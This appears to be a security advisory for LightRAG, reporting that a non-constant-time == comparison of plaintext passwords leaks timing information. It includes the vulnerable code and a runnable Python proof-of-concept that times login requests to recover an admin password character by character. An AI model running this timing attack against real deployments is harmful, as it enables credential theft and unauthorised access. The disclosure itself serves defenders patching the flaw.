PYSEC-2026-4061

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.